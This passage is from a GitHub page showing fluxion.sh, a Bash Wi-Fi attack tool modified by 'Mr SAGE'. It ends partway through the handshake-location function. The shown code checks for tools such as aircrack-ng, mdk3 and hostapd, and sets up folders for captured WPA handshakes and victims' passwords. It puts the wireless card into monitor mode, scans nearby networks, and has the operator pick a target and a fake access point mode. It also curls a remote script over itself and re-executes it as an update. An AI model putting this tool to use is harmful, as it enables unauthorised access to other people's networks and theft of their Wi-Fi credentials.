forked from thehackingsage/fluxion
-
Notifications
You must be signed in to change notification settings - Fork 1
/
fluxion.sh
executable file
·2634 lines (2189 loc) · 104 KB
/
fluxion.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
!/bin/bash
########## DEBUG Mode ##########
if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0
else FLUX_DEBUG=1
fi
################################
#Keep dump file
KEEP_DUMP=0
####### preserve network #######
if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0
else KEEP_NETWORK=1
fi
################################
###### AUTO CONFIG SETUP #######
if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0
else FLUX_AUTO=1
fi
################################
if [[ $EUID -ne 0 ]]; then
echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m"""
exit 1
fi
if [ -z "${DISPLAY:-}" ]; then
echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m"""
exit 1
fi
clear
##################################### < CONFIGURATION > #####################################
DUMP_PATH="/tmp/TMPflux"
HANDSHAKE_PATH="/root/handshakes"
PASSLOG_PATH="/root/pwlog"
WORK_DIR=`pwd`
DEAUTHTIME="9999999999999"
revision=9
version=2
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
transparent="\e[0m"
general_back="Back"
general_error_1="Not_Found"
general_case_error="Unknown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using fluxion"
#############################################################################################
# DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode]
if [ $FLUX_DEBUG = 1 ]; then
## Developer Mode
export flux_output_device=/dev/stdout
HOLD="-hold"
else
## Normal Mode
export flux_output_device=/dev/null
HOLD=""
fi
# Delete Log only in Normal Mode !
function conditional_clear() {
if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi
}
function airmon {
chmod +x lib/airmon/airmon.sh
}
airmon
# Check Updates
function checkupdatess {
revision_online="$(timeout -s SIGTERM 20 curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)"
if [ -z "$revision_online" ]; then
echo "?">$DUMP_PATH/Irev
else
echo "$revision_online">$DUMP_PATH/Irev
fi
}
# Animation
function spinner {
local pid=$1
local delay=0.15
local spinstr='|/-\'
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
printf "\b\b\b\b\b\b"
done
printf " \b\b\b\b"
}
# ERROR Report only in Developer Mode
function err_report {
echo "Error on line $1"
}
if [ $FLUX_DEBUG = 1 ]; then
trap 'err_report $LINENUM' ERR
fi
#Function to executed in case of unexpected termination
trap exitmode SIGINT SIGHUP
source lib/exitmode.sh
#Languages for the web interface
source language/source
# Design
function top(){
conditional_clear
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
echo -e "$red[ ]"
echo -e "$red[ $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" ]"
echo -e "$blue[ ]"
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
echo
echo
}
############################################## < START > ##############################################
# Check requirements
function checkdependences {
echo -ne "aircrack-ng....."
if ! hash aircrack-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "aireplay-ng....."
if ! hash aireplay-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "airmon-ng......."
if ! hash airmon-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "awk............."
if ! hash awk 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "curl............"
if ! hash curl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "dhcpd..........."
if ! hash dhcpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "hostapd........."
if ! hash hostapd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "iwconfig........"
if ! hash iwconfig 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "lighttpd........"
if ! hash lighttpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "macchanger......"
if ! hash macchanger 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "mdk3............"
if ! hash mdk3 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "nmap............"
if ! [ -f /usr/bin/nmap ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "php-cgi........."
if ! [ -f /usr/bin/php-cgi ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "pyrit..........."
if ! hash pyrit 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "python.........."
if ! hash python 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "unzip..........."
if ! hash unzip 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "xterm..........."
if ! hash xterm 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "openssl........."
if ! hash openssl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "rfkill.........."
if ! hash rfkill 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "strings........."
if ! hash strings 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (binutils)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "fuser..........."
if ! hash fuser 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (psmisc)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
if [ "$exit" = "1" ]; then
exit 1
fi
sleep 1
clear
}
top
checkdependences
# Create working directory
if [ ! -d $DUMP_PATH ]; then
mkdir -p $DUMP_PATH &>$flux_output_device
fi
# Create handshake directory
if [ ! -d $HANDSHAKE_PATH ]; then
mkdir -p $HANDSHAKE_PATH &>$flux_output_device
fi
#create password log directory
if [ ! -d $PASSLOG_PATH ]; then
mkdir -p $PASSLOG_PATH &>$flux_output_device
fi
if [ $FLUX_DEBUG != 1 ]; then
clear; echo ""
sleep 0.01 && echo -e "$red "
sleep 0.01 && echo -e " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐ "
sleep 0.01 && echo -e " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║ "
sleep 0.01 && echo -e " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜ "
sleep 0.01 && echo -e " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║ "
sleep 0.01 && echo -e " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘ "
sleep 0.01 && echo -e " ¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯ "
echo""
sleep 0.1
echo -e $red" FLUXION "$white""$version" (rev. "$green "$revision"$white") "$yellow"modified by "$white"Mr SAGE"
sleep 0.1
echo -e $green " Page:"$red"https://github.com/thehackingsage/Fluxion "$transparent
sleep 0.1
echo -n " Latest rev."
tput civis
checkupdatess &
spinner "$!"
revision_online=$(cat $DUMP_PATH/Irev)
echo -e ""$white" [${purple}${revision_online}$white"$transparent"]"
if [ "$revision_online" != "?" ]; then
if [ "$revision" -lt "$revision_online" ]; then
echo
echo
echo -ne $red" New revision found! "$yellow
echo -ne "Update? [Y/n]: "$transparent
read -N1 doupdate
echo -ne "$transparent"
doupdate=${doupdate:-"Y"}
if [ "$doupdate" = "Y" ]; then
cp $0 $HOME/flux_rev-$revision.backup
curl "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion" -s -o $0
echo
echo
echo -e ""$red"Updated successfully! Restarting the script to apply the changes ..."$transparent""
sleep 3
chmod +x $0
exec $0
exit
fi
fi
fi
echo ""
tput cnorm
sleep 1
fi
# Show info for the selected AP
function infoap {
Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-`
echo "INFO WIFI"
echo
echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC"
echo -e " "$blue"Channel"$transparent" = $channel"
echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps"
echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)"
echo
}
############################################### < MENU > ###############################################
# Windows + Resolution
function setresolution {
function resA {
TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
}
function resB {
TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resC {
TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resD {
TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resE {
TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}
function resF {
TOPLEFT="-geometry 100x17+0+0"
TOPRIGHT="-geometry 90x27-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0"
TOPLEFTBIG="-geometry 100x70+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0"
}
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
"1280x768" ) resC ;;
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
* ) resA ;;
esac
language; setinterface
}
function language {
iptables-save > $DUMP_PATH/iptables-rules
conditional_clear
if [ "$FLUX_AUTO" = "1" ];then
source $WORK_DIR/language/en; setinterface
else
while true; do
conditional_clear
top
echo -e ""$red"["$yellow"2"$red"]"$transparent" Select your language"
echo " "
echo -e " "$red"["$yellow"1"$red"]"$grey" English "
echo -e " "$red"["$yellow"2"$red"]"$transparent" German "
echo -e " "$red"["$yellow"3"$red"]"$transparent" Romanian "
echo -e " "$red"["$yellow"4"$red"]"$transparent" Turkish "
echo -e " "$red"["$yellow"5"$red"]"$transparent" Spanish "
echo -e " "$red"["$yellow"6"$red"]"$transparent" Chinese "
echo -e " "$red"["$yellow"7"$red"]"$transparent" Italian "
echo -e " "$red"["$yellow"8"$red"]"$transparent" Czech "
echo -e " "$red"["$yellow"9"$red"]"$transparent" Greek "
echo -e " "$red"["$yellow"10"$red"]"$transparent" French "
echo -e " "$red"["$yellow"11"$red"]"$transparent" Slovenian "
echo " "
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read yn
echo ""
case $yn in
1 ) source $WORK_DIR/language/en; break;;
2 ) source $WORK_DIR/language/ger; break;;
3 ) source $WORK_DIR/language/ro; break;;
4 ) source $WORK_DIR/language/tu; break;;
5 ) source $WORK_DIR/language/esp; break;;
6 ) source $WORK_DIR/language/ch; break;;
7 ) source $WORK_DIR/language/it; break;;
8 ) source $WORK_DIR/language/cz break;;
9 ) source $WORK_DIR/language/gr; break;;
10 ) source $WORK_DIR/language/fr; break;;
11 ) source $WORK_DIR/language/svn; break;;
* ) echo "Unknown option. Please choose again"; conditional_clear ;;
esac
done
fi
}
#MySetinferface
function killIF {
#unblock interfaces
rfkill unblock all
# Collect all interfaces in montitor mode & stop all
KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`
for monkill in ${KILLMONITOR[@]}; do
airmon-ng stop $monkill >$flux_output_device
# echo -n "$monkill, "
done
}
function initIF {
readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
WIFIDRIVER=$(./lib/airmon/airmon.sh | grep "$PREWIFI" | awk '{print($(NF-2))}')
if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then
rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1
fi
if [ $KEEP_NETWORK = 0 ]; then
for nagger in "${naggysoftware[@]}"; do
killall "$nagger" &>$flux_output_device
done
sleep 0.5
fi
if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then
modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1
sleep 0.5
fi
# Select Wifi Interface
select PREWIFI in $INTERFACES; do
break;
done
WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
WIFI_MONITOR=$WIFIMONITOR
WIFI=$PREWIFI
}
function selectIF {
# Create a variable with the list of physical network interfaces
readarray -t wirelessifaces < <(./lib/airmon/airmon.sh |grep "-" | cut -d- -f1)
INTERFACESNUMBER=`./lib/airmon/airmon.sh | grep -c "-"`
if [ "$INTERFACESNUMBER" -gt "0" ]; then
if [ "$INTERFACESNUMBER" -eq "1" ]; then
PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}')
else
echo $header_setinterface
echo
i=0
for line in "${wirelessifaces[@]}"; do
i=$(($i+1))
wirelessifaces[$i]=$line
echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line"
done
if [ "$FLUX_AUTO" = "1" ];then
line="1"
else
echo
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read line
fi
PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}')
fi
#No wireless cards
else
echo $setinterface_error
sleep 5
exitmode
fi
}
# Choose Interface
function setinterface {
conditional_clear
top
killIF
selectIF
if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
setinterface
fi
initIF
ghost
}
# Check files
function ghost {
conditional_clear
CSVDB=dump-01.csv
rm -rf $DUMP_PATH/*
choosescan
selection
}
# Select channel
function choosescan {
if [ "$FLUX_AUTO" = "1" ];then
Scan
else
conditional_clear
while true; do
conditional_clear
top
echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan"
echo " "
echo -e " "$red"["$yellow"1"$red"]"$grey" $choosescan_option_1 "
echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 "
echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent
echo " "
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read yn
echo ""
case $yn in
1 ) Scan ; break ;;
2 ) Scanchan ; break ;;
3 ) setinterface; break;;
* ) echo "Unknown option. Please choose again"; conditional_clear ;;
esac
done
fi
}
# Choose your channel if you choose option 2 before
function Scanchan {
conditional_clear
top
echo " "
echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_choosescan "
echo " "
echo -e " $scanchan_option_1 "$blue"6"$transparent" "
echo -e " $scanchan_option_2 "$blue"1-5"$transparent" "
echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" "
echo " "
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read channel_number
set -- ${channel_number}
conditional_clear
rm -rf $DUMP_PATH/dump*
xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one
}
# Scans the entire network
function Scan {
conditional_clear
rm -rf $DUMP_PATH/dump*
if [ "$FLUX_AUTO" = "1" ];then
sleep 30 && killall xterm &
fi
xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one
}
# Choose a network
function selection {
conditional_clear
top
LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`
if [ "$LINEAS_WIFIS_CSV" = "" ];then
conditional_clear
top
echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported "
echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":"
read back
if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then
clear && exitmode
elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then
clear && setinterface
fi
fi
if [ $LINEAS_WIFIS_CSV -le 3 ]; then
ghost && break
fi
fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`
fluxionap=`expr $fluxionap - 1`
head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv
tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv
echo " WIFI LIST "
echo ""
echo " ID MAC CHAN SECU PWR ESSID"
echo ""
i=0
while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do
longueur=${#MAC}
PRIVACY=$(echo $PRIVACY| tr -d "^ ")
PRIVACY=${PRIVACY:0:4}
if [ $longueur -ge 17 ]; then
i=$(($i+1))
POWER=`expr $POWER + 100`
CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`
if [ "$CLIENTE" != "" ]; then
CLIENTE="*"
echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent""
else
echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent""
fi
aidlength=$IDLENGTH
assid[$i]=$ESSID
achannel[$i]=$CHANNEL
amac[$i]=$MAC
aprivacy[$i]=$PRIVACY
aspeed[$i]=$SPEED
fi
done < $DUMP_PATH/dump-02.csv
# Select the first network if you select the first network
if [ "$FLUX_AUTO" = "1" ];then
choice=1
else
echo
echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent""
echo ""
echo -e " $selection_2"
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read choice
fi
if [[ $choice -eq "r" ]]; then
ghost
fi
idlength=${aidlength[$choice]}
ssid=${assid[$choice]}
channel=$(echo ${achannel[$choice]}|tr -d [:space:])
mac=${amac[$choice]}
privacy=${aprivacy[$choice]}
speed=${aspeed[$choice]}
Host_IDL=$idlength
Host_SPEED=$speed
Host_ENC=$privacy
Host_MAC=$mac
Host_CHAN=$channel
acouper=${#ssid}
fin=$(($acouper-idlength))
Host_SSID=${ssid:1:fin}
Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'`
conditional_clear
askAP
}
# FakeAP
function askAP {
DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m`
if [ $DIGITOS_WIFIS_CSV -le 15 ]; then
selection && break
fi
if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then
fakeapmode="airbase-ng"
askauth
fi
if [ "$FLUX_AUTO" = "1" ];then
fakeapmode="hostapd"; authmode="handshake"; handshakelocation
else
top
while true; do
infoap
echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP"
echo " "
echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1"
echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2"
echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent
echo " "
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read yn
echo ""
case $yn in
1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;;
2 ) fakeapmode="airbase-ng"; askauth; break ;;
3 ) selection; break ;;
* ) echo "$general_case_error"; conditional_clear ;;
esac
done
fi
}
# Test Passwords / airbase-ng
function askauth {
if [ "$FLUX_AUTO" = "1" ];then
authmode="handshake"; handshakelocation
else
conditional_clear
top
while true; do
echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth"
echo " "
echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1"
echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2"
echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent
echo " "
echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent""
read yn
echo ""
case $yn in
1 ) authmode="handshake"; handshakelocation; break ;;
2 ) authmode="wpa_supplicant"; webinterface; break ;;
3 ) askAP; break ;;
* ) echo "$general_case_error"; conditional_clear ;;
esac
done
fi
}
function handshakelocation {
conditional_clear
top
infoap
if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then
echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes."
echo -e "${red}Do you want to use this file? (y/N)"
echo -ne "$transparent"
if [ "$FLUX_AUTO" = "0" ];then
read usehandshakefile
fi
if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then
handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap"
fi
